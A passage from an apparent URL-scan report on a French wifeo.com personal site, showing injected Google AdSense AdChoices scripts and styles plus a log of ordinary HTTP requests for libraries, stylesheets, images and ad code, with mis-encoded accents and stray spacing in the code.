souvent\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x222\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Annonce inint�ressante\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x227\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Contenu masqu�\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x223\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Annonce inappropri�e\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x228\x22,\x22include_close_button_token\x22:true}}]},\x22undo_conversion\x22:{\x22label\x22:\x22user_feedback_undo\x22,\x22label_instance\x22:\x221\x22,\x22include_close_button_token\x22:true}}],\x22mute_panel_data\x22:{\x22adchoices_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/adchoices/iconx2-000000.png\x22,\x22adchoices_button_text\x22:\x22Choisir sa pub\x22,\x22closed_message_text\x22:\x22Annonce ferm�e par %1$s\x22,\x22enable_lightbox\x22:false,\x22google_logo_url\x22:\x22https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png\x22,\x22report_ad_button_text\x22:\x22Signaler cette annonce\x22,\x22confirmation_text\x22:\x22Nous allons essayer de ne plus vous montrer cette annonce.\x22,\x22see_my_google_ad_settings_text\x22:\x22Afficher mes param�tres relatifs aux annonces Google\x22,\x22protocol_gstatic_host\x22:\x22https://www.gstatic.com\x22,\x22jake_mta_context\x22:\x22\x22,\x22overlay_message_text\x22:\x22Annonces %1$s\x22}}},\x22flags\x22:[{\x22name\x22:\x22jake_ui_extension\x22,\x22value\x22:\x22jake_default_ui\x22}]},opi:false,ti:false,mob:false,il:false,eaca:false,eda:false};\x3c/script\x3e'); < /script><script src="https:/ / pagead2.googlesyndication.com / pagead / js / r20180207 / r20110914 / abg.js "></script>

#30 JavaScript::Write (size: 6913, repeated: 1) - SHA256: 50c5c2fd48de70f33b1181dc1e02c092dd20116378ae74f1008ba43149b1ca6d

                                        < style > div, ul, li {
    margin: 0;padding: 0;
}.abgc {
    display: block;height: 15 px;overflow: hidden;position: absolute;right: 17 px;top: 1 px;text - rendering: geometricPrecision;width: 15 px;z - index: 9020;
}.abgb {
    display: block;height: 15 px;width: 15 px;
}.abgc, .abgcp, .cbb {
    opacity: 0;
}.jar.abgc, .jar.abgcp, .jar.cbb {
    opacity: 1;
}.jaa.abgc, .jaa.abgcp, .jaa.cbb {
    display: none;
}.abgc {
    cursor: pointer;
}.cbb {
    cursor: pointer;height: 15 px;width: 15 px;z - index: 9020;
}.cbb svg {
    position: absolute;top: 0;right: 0;height: 15 px;width: 15 px;
}.cbb.cbbbg {
    fill - opacity: 1.0;
    fill: # ffffff;
    stroke: none;
}.cbb.cbbcross {
    stroke: #00aecd;stroke-width: 1.25;}.cbb:hover{cursor:pointer;}.cbb:hover .cbbbg {fill: # 58585 a;
}.cbb: hover.cbbcross {
    stroke: # ffffff;
}.abgb {
    position: absolute;right: 0 px;top: 0 px;
}.cbb {
    position: absolute;right: 1 px;top: 1 px;
}.abgc img {
    display: block;
}.abgc svg {
    display: block;
}.abgs {
    display: none;height: 100 % ;
}.abgl {
    text - decoration: none;
}.abgi {
    fill - opacity: 1.0;
    fill: #00aecd;stroke:none;}.abgbg{fill-opacity:1.0;fill:# ffffff;
    stroke: none;
}.abgtxt {
    fill: black;font - family: 'Arial';font - size: 100 px;overflow: visible;stroke: none;
}.abgac {
    position: fixed;left: 0 px;top: 0 px;z - index: 9100;display: none;width: 100 % ;height: 100 % ;background - color: # FAFAFA;
} < /style><div id=abgc class=abgc dir='ltr' aria-hidden="true"><div id=abgb class="abgb"></div > < div id = abgs class = abgs > < a id = abgl class = abgl href = "https://www.google.com/url?ct=abg&amp;q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D&amp;usg=AFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw"
target = _blank > < /a></div > < /div><div id="cbb" class="cbb" aria-hidden="true"><svg><path class="cbbbg" d="M0,0l15,0l0,15l-15,0Z"/ > < path class = "cbbcross"
d = "M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5" / > < /svg></div > < div id = "mute_panel"
aria - hidden = "true" > < /div><div id="abgac" class="abgac" aria-hidden="true"></div > < script > document.write('\n\x3cscript\x3evar abgp={hw:15,sw:91,hh:15,sh:15,himg:\'https://pagead2.googlesyndication.com\'+\'/pagead/images/adchoices/icon.png\',simg:\'https://pagead2.googlesyndication.com\'+\'/pagead/images/adchoices/fr.png\',alt:\'AdChoices\',t:\'Choisir sa pub\',tw:69,t2:\'\',t2w:0,tbo:0,att:\'adchoices\',ff:\'\',halign:\'right\',fe:false,iba:false,lttp:false,uic:true,uit:true,ci:\'\',icd:{\x22creatives\x22:[],\x22height\x22:600,\x22width\x22:160,\x22attribution\x22:{\x22user_feedback_data\x22:{\x22mute_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22pub_feedback_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22conversion_url\x22:\x22https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCBlUsAPCCWoX0Oc6yYsi5nUiy5N22UNDswNnJBvAuEAEg1O6SCmDD3KSFmBjIAQmpAnzZR6qgrLQ-qAMByAMCqgS0AU_QqW33ujlKmIT_Z_VJ9S-YZapGbnXPkg8olmKTiRyoBAs26eRRqNJ8bLl0A6e9i9cnUvUG9NujKP2vTNnVbCi2cKPwl-_24YydTbObvk1y2LLZFh80ySaXCPMwQ5C8Ikyy8fJ6YbhJpu4lcJ7QYmCInrRqFHU6-00IU9X0PB71yDc-MJi3nIUBF9FFPW4-25zPeT49XWW0m0xysQOOL6s_HCi-wnsyzCvGERUyf21tPFoQCuAEA5AGAaAGTIAHo--yeqgHpr4b2AcA0ggHCIBhEAEYAoAKAdATANgTAw\\u0026sigh\x3d0-nZ7SZ2dOM\\u0026cid\x3dCAASBORoCbo\x22,\x22close_button_token\x22:\x22IvH0ppNNCVII0OzA2ckGEM-dpPkDGKvO0npCAEgAWABwAQ\x22,\x22interaction_conversion\x22:{\x22label\x22:\x22user_feedback_menu_interaction\x22,\x22label_instance\x22:\x22\x22,\x22include_close_button_token\x22:false},\x22survey_header\x22:\x22Qu\x27est-ce qui ne vous convenait pas dans l\x27annonce�?\x22,\x22back_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/back_blue.png\x22,\x22mute_confirmation_header\x22:\x22Merci de vos commentaires.\x22,\x22mute_confirmation_text\x22:\x22Nous examinerons cette annonce afin d\x27am�liorer l\x27exp�rience utilisateur � l\x27avenir.\x22,\x22pub_feedback_confirmation_header\x22:\x22Merci de vos commentaires.\x22,\x22pub_feedback_confirmation_text\x22:\x22Nous utilisons vos commentaires pour �valuer les annonces sur ce site.\x22,\x22closing_countdown_text\x22:\x22Fermeture de l\x27annonce en cours�: %1$d\x22,\x22attribution_text\x22:\x22AdChoices\x22,\x22attribution_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/ad_choices_blue.png\x22,\x22attribution_destination_url\x22:\x22https://www.google.com/url?ct\x3dabg\\u0026q\x3dhttps://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D\\u0026usg\x3dAFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw\x22,\x22ad_feedback_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22is_rtl_language\x22:false,\x22feedback_options\x22:[{\x22text\x22:\x22Signaler cette annonce\x22,\x22conversion\x22:{\x22label\x22:\x22user_feedback_menu_option\x22,\x22label_instance\x22:\x221\x22,\x22include_close_button_token\x22:true},\x22survey\x22:{\x22header\x22:\x22Qu\x27est-ce qui ne vous convenait pas dans l\x27annonce�?\x22,\x22options\x22:[{\x22text\x22:\x22Contenu masqu�\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x223\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Annonce inappropri�e\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x228\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Annonce affich�e trop souvent\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x222\x22,\x22include_close_button_token\x22:true}},{\x22text\x22:\x22Annonce inint�ressante\x22,\x22conversion\x22:{\x22label\x22:\x22mute_survey_option\x22,\x22label_instance\x22:\x227\x22,\x22include_close_button_token\x22:true}}]},\x22undo_conversion\x22:{\x22label\x22:\x22user_feedback_undo\x22,\x22label_instance\x22:\x221\x22,\x22include_close_button_token\x22:true}}],\x22mute_panel_data\x22:{\x22adchoices_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/adchoices/iconx2-000000.png\x22,\x22adchoices_button_text\x22:\x22Choisir sa pub\x22,\x22closed_message_text\x22:\x22Annonce ferm�e par %1$s\x22,\x22enable_lightbox\x22:false,\x22google_logo_url\x22:\x22https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png\x22,\x22report_ad_button_text\x22:\x22Signaler cette annonce\x22,\x22confirmation_text\x22:\x22Nous allons essayer de ne plus vous montrer cette annonce.\x22,\x22see_my_google_ad_settings_text\x22:\x22Afficher mes param�tres relatifs aux annonces Google\x22,\x22protocol_gstatic_host\x22:\x22https://www.gstatic.com\x22,\x22jake_mta_context\x22:\x22\x22,\x22overlay_message_text\x22:\x22Annonces %1$s\x22}}},\x22flags\x22:[{\x22name\x22:\x22jake_ui_extension\x22,\x22value\x22:\x22jake_default_ui\x22}]},opi:false,ti:false,mob:false,il:false,eaca:false,eda:false};\x3c/script\x3e'); < /script><script src="https:/ / pagead2.googlesyndication.com / pagead / js / r20180207 / r20110914 / abg.js "></script>

HTTP Transactions (104)

Request	Response
GET / HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Set-Cookie: statcountmichaelnativel13=ok; expires=Wed, 14-Feb-2018 14:02:26 GMT; Max-Age=86400; path=/; domain=michaelnativel.wifeo.com Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 5217 Connection: close --- Additional Info --- Magic: gzip compressed data, from Unix Size: 5217 Md5: 831f9abf8643d1243ded59a344974f3a Sha1: ee85e593b6870da7c560a53b802743ceff5aa9bd Sha256: aa1308d4b696a49fc55f4603c6792a5a6fafa333d7f171d09d4487e4ea7afcaa
GET /ajax/libs/jquery/2.2.4/jquery.min.js HTTP/1.1 Host: ajax.googleapis.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.138 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Access-Control-Allow-Origin: * Timing-Allow-Origin: * Content-Length: 30028 Date: Mon, 12 Feb 2018 19:25:14 GMT Expires: Tue, 12 Feb 2019 19:25:14 GMT Last-Modified: Tue, 20 Dec 2016 18:17:03 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000 Age: 67032 --- Additional Info --- Magic: gzip compressed data, max compression Size: 30028 Md5: 543b05db46ecc6a1312a23e7e7a8820e Sha1: aff453218f0b6c281ed53da6997d4b1b9e990007 Sha256: 31c0d9866a5018d56375949c0222370a5b48d6ea6442d04b0c689217a68dffac
GET /ui/1.12.1/jquery-ui.min.js HTTP/1.1 Host: code.jquery.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	94.31.29.54 HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:26 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 14 Sep 2016 16:34:16 GMT Vary: Accept-Encoding Etag: W/"57d97c08-3dee4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000, public Access-Control-Allow-Origin: * Server: NetDNA-cache/2.2 X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 83774 Md5: ecd6894f51622e86cb5fbf4b5b76fa3e Sha1: c153c836d34a21a0f3cd7f493057afa4e70530bb Sha256: 6e73982fc6ce2f215fd90c977d6f71839a438dd8633f19c5743d51eb1a59566b
GET /format.css?1517595825 HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 13 Jan 2018 11:07:35 GMT Etag: "292c-562a66370023f-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142842853 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 2298 Md5: 8372588c9f00a839ceebcc538fb07b68 Sha1: aed952758dbfa24d23d251e78cbcbd7065e06367 Sha256: 6515d60c65d2383c47558d0048bb36fc97b8aa3e8713cbbc5b942be345550747
GET /images/m/mic/Michael-Nativel-2013-6-.JPG HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 24 Jan 2015 10:14:43 GMT Etag: "f25b-50d632c87b776" Accept-Ranges: bytes Content-Length: 62043 Vary: User-Agent Connection: close --- Additional Info --- Magic: JPEG image data, JFIF standard 1.01 Size: 62043 Md5: bb2335b031557d88c78c3ed8b7898a72 Sha1: c1e29448b76168ca113034eaaf9dd108b6a29561 Sha256: dd40909d65705ad6cf17fa5d3973f0e90a0388a30472ce6027ca468b96f18733
GET /wifeostatic-s3/ressources/bootstrap4/override-bootstrap.min.css?v1.31 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Thu, 01 Feb 2018 18:16:02 GMT Etag: "1512-5642a96a81a13-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143657890 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 1506 Md5: d4e62396546f6095730831eb5f5fda6a Sha1: 6c5d7f7836f9ba33bd8f93510717a43f01d20617 Sha256: 357e2e41dc254f51f3dbc7735bf2594966b3f5ab099c9ade250842b8a8f56ad3
GET /images/c/cou/couverture-de-wesh-.jpg HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Access-Control-Allow-Origin: http://shop.wifeo.com Last-Modified: Sat, 01 Apr 2017 17:07:25 GMT Etag: "1a8a7-54c1df5ced000" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143529248 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: JPEG image data, JFIF standard 1.01 Size: 108711 Md5: af025d0c248e1e836a0bb7f0eb24692b Sha1: 127e2424c3ecc3e29bc354240cbd684d785cba41 Sha256: 62ea136aff29fd2cc7d9232a8f4c4cc9c5061c4812266734db3909c36821639c
GET /wifeostatic-s3/ressources/bootstrap4/css/bootstrap.min.css?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Wed, 13 Dec 2017 10:10:24 GMT Etag: "1defc-56035f9cf47e4-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142401995 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 19956 Md5: 28d3bfd1e27cb53c747cdeb900c24bc9 Sha1: 2308c55b1740d281e4fd5a778391df8b0f6d01c2 Sha256: f33aa667ef9d81d76aa28ec9166a996ad9e5874ce413be6d33f839b0cee8108d
GET /ads/promo/showads.js HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sun, 07 Aug 2016 13:34:56 GMT Etag: "16-5397b5d84d85a" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 142402005 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Content-Length: 22 Accept-Ranges: bytes --- Additional Info --- Magic: ASCII text, with no line terminators Size: 22 Md5: 980a6c3dda1f57bedff29b069d7394e1 Sha1: 5d303a833981c96a17b06b1177010ba04c2f1736 Sha256: 3a769c0c24dc5601ec54f39b6a608148dd6664a9378eb888fa9e72da3206c92f
GET /wifeolib.js?v2 HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 06 Jan 2018 16:05:33 GMT Etag: "1c2-5621dbc21ad27-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142784201 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 296 Md5: 488fa183cd71c5e3a5d7df28b301715e Sha1: b487fa1a22c7de619827eed453d9642e177c4ebb Sha256: bbf6021d61648130c130202c6f04249f56ee63ac203cff38726ac0bb236d35c5
GET /pagead/js/adsbygoogle.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:26 GMT Expires: Tue, 13 Feb 2018 14:02:26 GMT Cache-Control: private, max-age=3600 Etag: 6502682663518856185 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 26103 X-XSS-Protection: 1; mode=block --- Additional Info --- Magic: gzip compressed data, max compression Size: 26103 Md5: 6ef11d0463c07a28cd7cf2803534c33b Sha1: 22c83cf48df58218feda2b7c44729bbbd3c43fdc Sha256: 4b1e7c12854ebf981237b37942a10e1ea9f0324332083e81150e5e73b04cbbd4
GET /wifeostatic-s3/ressources/modules/diaporama/lib.min.js HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Mon, 26 Jun 2017 12:20:58 GMT Etag: "2ddc-552dbfbb92688-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143496350 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 2871 Md5: 69b86adc42e0a4eac12212456419cd76 Sha1: 0fbe0531bc79088d521f49a43c47ed1dfb454330 Sha256: a43cf679482b0506b59d7922534849fad7f6f6b47b0c2b95db8fd6fab3f212df
GET /wifeostatic-s3/ressources/wifeocss/common-vz.min.css?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Tue, 16 Jan 2018 14:35:44 GMT Etag: "1850-562e5a557b6d4-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143529263 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 1958 Md5: 300893f7bd28eb1607279ed8ad2b60a4 Sha1: 811094e55d549ea270d0a7debf1b3e24949b1b72 Sha256: ccdb2a9d9e13d8a1ad6f96f0edff0cca0283c849e5a6d8de6598ea05cbcd869a
GET /wifeostatic-s3/ressources/wifeojs/masonry.min.js?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Mon, 04 Dec 2017 19:54:23 GMT Etag: "5e12-55f8915c1ffa8-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142784204 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 7356 Md5: 161527114a2803aff504bcfb294f422f Sha1: 64f32ea2a09a4cc0d0d0eb52245954bc387d8dcf Sha256: af0b36296aa50c8194a84c2a2dcf7cd3049f75a1b3c41df121047837cb5ad4d9
GET //wifeostatic-s3/ressources/wifeojs/common-vz.min.js?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sun, 04 Feb 2018 16:33:28 GMT Etag: "4356-5646581615483-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143496356 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 5204 Md5: e2c72120b1d395a6e2ed0b1a9b5e4872 Sha1: ed44ea6f6e70337921507029dfc5110ea426acb1 Sha256: 9bd5164d85c8e69dba75f30e73275ae1a29a4cd90c3c23bcbbcf3e32a055d5e0
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 116 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:26 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 23:25:56 GMT Expires: Mon, 19 Feb 2018 23:25:56 GMT Etag: AE647C8BDA24ECE75914CDAC478CC0851A182CAB Cache-Control: max-age=551609,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 472 Connection: close --- Additional Info --- Magic: data Size: 472 Md5: 7d3d17abde90664c86b73397e2762d19 Sha1: ae647c8bda24ece75914cdac478cc0851a182cab Sha256: bd2cf3a65ef71b899a20502a517cbd41c1d3ac5ebeb5f4986ccab0cb3789a289
